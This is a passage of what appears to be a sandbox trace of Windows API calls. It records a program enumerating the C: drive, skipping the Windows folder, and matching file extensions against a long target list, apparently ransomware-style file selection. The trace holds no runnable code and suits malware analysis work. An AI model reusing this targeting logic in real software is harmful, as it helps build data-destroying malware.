lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0096.804] FindNextFileW (in: hFindFile=0x39744b0, lpFindFileData=0x340eb9c | out: lpFindFileData=0x340eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.805] FindNextFileW (in: hFindFile=0x39744b0, lpFindFileData=0x340eb9c | out: lpFindFileData=0x340eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0097.168] FindNextFileW (in: hFindFile=0x3974430, lpFindFileData=0x340e6a4 | out: lpFindFileData=0x340e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.168] FindNextFileW (in: hFindFile=0x3974430, lpFindFileData=0x340e6a4 | out: lpFindFileData=0x340e6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 Thread: id = 18 os_tid = 0x440 [0074.024] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3920098 [0074.025] lstrlenW (lpString="C:") returned 2 [0074.025] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x354fd00 | out: lpFindFileData=0x354fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x603028 [0074.025] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0074.025] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0074.025] lstrlenW (lpString="$Recycle.Bin") returned 12 [0074.026] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0074.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39300a0 [0074.026] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0074.026] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603068 [0074.026] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.027] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0074.027] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0074.027] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0074.027] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0074.027] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0074.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39410b0 [0074.027] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0074.027] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.028] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.028] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0074.028] lstrlenW (lpString="desktop.ini") returned 11 [0074.028] lstrlenW (lpString=".1cd") returned 4 [0074.028] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0074.028] lstrlenW (lpString=".3ds") returned 4 [0074.028] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0074.028] lstrlenW (lpString=".3fr") returned 4 [0074.028] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0074.028] lstrlenW (lpString=".3g2") returned 4 [0074.028] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0074.028] lstrlenW (lpString=".3gp") returned 4 [0074.028] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0074.028] lstrlenW (lpString=".7z") returned 3 [0074.028] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0074.028] lstrlenW (lpString=".accda") returned 6 [0074.028] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0074.028] lstrlenW (lpString=".accdb") returned 6 [0074.029] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0074.029] lstrlenW (lpString=".accdc") returned 6 [0074.029] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0074.029] lstrlenW (lpString=".accde") returned 6 [0074.029] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0074.029] lstrlenW (lpString=".accdt") returned 6 [0074.029] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0074.029] lstrlenW (lpString=".accdw") returned 6 [0074.029] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0074.029] lstrlenW (lpString=".adb") returned 4 [0074.029] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0074.029] lstrlenW (lpString=".adp") returned 4 [0074.029] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0074.029] lstrlenW (lpString=".ai") returned 3 [0074.029] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0074.029] lstrlenW (lpString=".ai3") returned 4 [0074.029] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0074.029] lstrlenW (lpString=".ai4") returned 4 [0074.029] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0074.029] lstrlenW (lpString=".ai5") returned 4 [0074.029] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0074.029] lstrlenW (lpString=".ai6") returned 4 [0074.029] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0074.030] lstrlenW (lpString=".ai7") returned 4 [0074.030] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0074.030] lstrlenW (lpString=".ai8") returned 4 [0074.030] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0074.030] lstrlenW (lpString=".anim") returned 5 [0074.030] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0074.030] lstrlenW (lpString=".arw") returned 4 [0074.030] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0074.030] lstrlenW (lpString=".as") returned 3 [0074.030] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0074.030] lstrlenW (lpString=".asa") returned 4 [0074.030] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0074.030] lstrlenW (lpString=".asc") returned 4 [0074.030] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0074.030] lstrlenW (lpString=".ascx") returned 5 [0074.030] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0074.030] lstrlenW (lpString=".asm") returned 4 [0074.030] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0074.030] lstrlenW (lpString=".asmx") returned 5 [0074.030] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0074.030] lstrlenW (lpString=".asp") returned 4 [0074.030] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0074.030] lstrlenW (lpString=".aspx") returned 5 [0074.030] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0074.030] lstrlenW (lpString=".asr") returned 4 [0074.031] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".asx") returned 4 [0074.031] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".avi") returned 4 [0074.031] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".avs") returned 4 [0074.031] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".backup") returned 7 [0074.031] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0074.031] lstrlenW (lpString=".bak") returned 4 [0074.031] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".bay") returned 4 [0074.031] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".bd") returned 3 [0074.031] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0074.031] lstrlenW (lpString=".bin") returned 4 [0074.031] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".bmp") returned 4 [0074.031] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".bz2") returned 4 [0074.031] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0074.031] lstrlenW (lpString=".c") returned 2 [0074.031] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0074.031] lstrlenW (lpString=".cdr") returned 4 [0074.031] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".cer") returned 4 [0074.032] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".cf") returned 3 [0074.032] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0074.032] lstrlenW (lpString=".cfc") returned 4 [0074.032] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".cfm") returned 4 [0074.032] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".cfml") returned 5 [0074.032] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0074.032] lstrlenW (lpString=".cfu") returned 4 [0074.032] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".chm") returned 4 [0074.032] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".cin") returned 4 [0074.032] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".class") returned 6 [0074.032] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0074.032] lstrlenW (lpString=".clx") returned 4 [0074.032] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".config") returned 7 [0074.032] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0074.032] lstrlenW (lpString=".cpp") returned 4 [0074.032] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0074.032] lstrlenW (lpString=".cr2") returned 4 [0074.033] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0074.033] lstrlenW (lpString=".crt") returned 4 [0074.033] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0074.033] lstrlenW (lpString=".crw") returned 4 [0074.033] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0074.033] lstrlenW (lpString=".cs") returned 3 [0074.033] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0074.033] lstrlenW (lpString=".css") returned 4 [0074.033] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0074.033] lstrlenW (lpString=".csv") returned 4 [0074.033] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0074.033] lstrlenW (lpString=".cub") returned 4 [0074.033] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0074.033] lstrlenW (lpString=".dae") returned 4 [0074.033] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0074.033] lstrlenW (lpString=".dat") returned 4 [0074.033] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0074.033] lstrlenW (lpString=".db") returned 3 [0074.033] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0074.034] lstrlenW (lpString=".dbf") returned 4 [0074.034] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".dbx") returned 4 [0074.034] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".dc3") returned 4 [0074.034] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".dcm") returned 4 [0074.034] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".dcr") returned 4 [0074.034] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".der") returned 4 [0074.034] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".dib") returned 4 [0074.034] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".dic") returned 4 [0074.034] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".dif") returned 4 [0074.034] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0074.034] lstrlenW (lpString=".divx") returned 5 [0074.034] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0074.034] lstrlenW (lpString=".djvu") returned 5 [0074.034] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0074.034] lstrlenW (lpString=".dng") returned 4 [0074.035] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0074.035] lstrlenW (lpString=".doc") returned 4 [0074.035] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0074.035] lstrlenW (lpString=".docm") returned 5 [0074.035] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0074.035] lstrlenW (lpString=".docx") returned 5 [0074.035] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0074.035] lstrlenW (lpString=".dot") returned 4 [0074.035] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0074.035] lstrlenW (lpString=".dotm") returned 5 [0074.035] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0074.035] lstrlenW (lpString=".dotx") returned 5 [0074.035] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0074.035] lstrlenW (lpString=".dpx") returned 4 [0074.035] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0074.035] lstrlenW (lpString=".dqy") returned 4 [0074.035] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0074.035] lstrlenW (lpString=".dsn") returned 4 [0074.035] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0074.035] lstrlenW (lpString=".dt") returned 3 [0074.035] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0074.035] lstrlenW (lpString=".dtd") returned 4 [0074.035] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0074.035] lstrlenW (lpString=".dwg") returned 4 [0074.035] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".dwt") returned 4 [0074.036] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".dx") returned 3 [0074.036] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0074.036] lstrlenW (lpString=".dxf") returned 4 [0074.036] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".edml") returned 5 [0074.036] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0074.036] lstrlenW (lpString=".efd") returned 4 [0074.036] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".elf") returned 4 [0074.036] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".emf") returned 4 [0074.036] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".emz") returned 4 [0074.036] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".epf") returned 4 [0074.036] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".eps") returned 4 [0074.036] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0074.036] lstrlenW (lpString=".epsf") returned 5 [0074.037] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0074.037] lstrlenW (lpString=".epsp") returned 5 [0074.037] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0074.037] lstrlenW (lpString=".erf") returned 4 [0074.037] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0074.037] lstrlenW (lpString=".exr") returned 4 [0074.037] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0074.037] lstrlenW (lpString=".f4v") returned 4 [0074.037] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0074.037] lstrlenW (lpString=".fido") returned 5 [0074.037] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0074.037] lstrlenW (lpString=".flm") returned 4 [0074.037] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0074.037] lstrlenW (lpString=".flv") returned 4 [0074.037] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0074.037] lstrlenW (lpString=".frm") returned 4 [0074.037] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0074.037] lstrlenW (lpString=".fxg") returned 4 [0074.037] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".geo") returned 4 [0074.038] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".gif") returned 4 [0074.038] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".grs") returned 4 [0074.038] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".gz") returned 3 [0074.038] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0074.038] lstrlenW (lpString=".h") returned 2 [0074.038] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0074.038] lstrlenW (lpString=".hdr") returned 4 [0074.038] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".hpp") returned 4 [0074.038] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".hta") returned 4 [0074.038] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".htc") returned 4 [0074.038] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".htm") returned 4 [0074.038] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0074.038] lstrlenW (lpString=".html") returned 5 [0074.039] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0074.039] lstrlenW (lpString=".icb") returned 4 [0074.039] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0074.039] lstrlenW (lpString=".ics") returned 4 [0074.039] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0074.039] lstrlenW (lpString=".iff") returned 4 [0074.039] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0074.039] lstrlenW (lpString=".inc") returned 4 [0074.039] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0074.039] lstrlenW (lpString=".indd") returned 5 [0074.039] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0074.039] lstrlenW (lpString=".ini") returned 4 [0074.039] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0074.039] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0074.039] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.039] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39410b0 | out: hHeap=0x5b0000) returned 1 [0074.040] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0074.040] FindClose (in: hFindFile=0x603068 | out: hFindFile=0x603068) returned 1 [0074.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39300a0 | out: hHeap=0x5b0000) returned 1 [0074.040] FindNextFileW (in: hFindFile=0x603028, lpFindFileData=0x354fd00 | out: lpFindFileData=0x354fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0074.040] lstrlenW (lpString="C:\\Boot") returned 7 [0074.040] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0074.040] lstrlenW (lpString="Boot") returned 4 [0074.040] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0074.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39310a8 [0074.040] lstrlenW (lpString="C:\\Boot") returned 7 [0074.040] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603068 [0074.041] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.041] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, 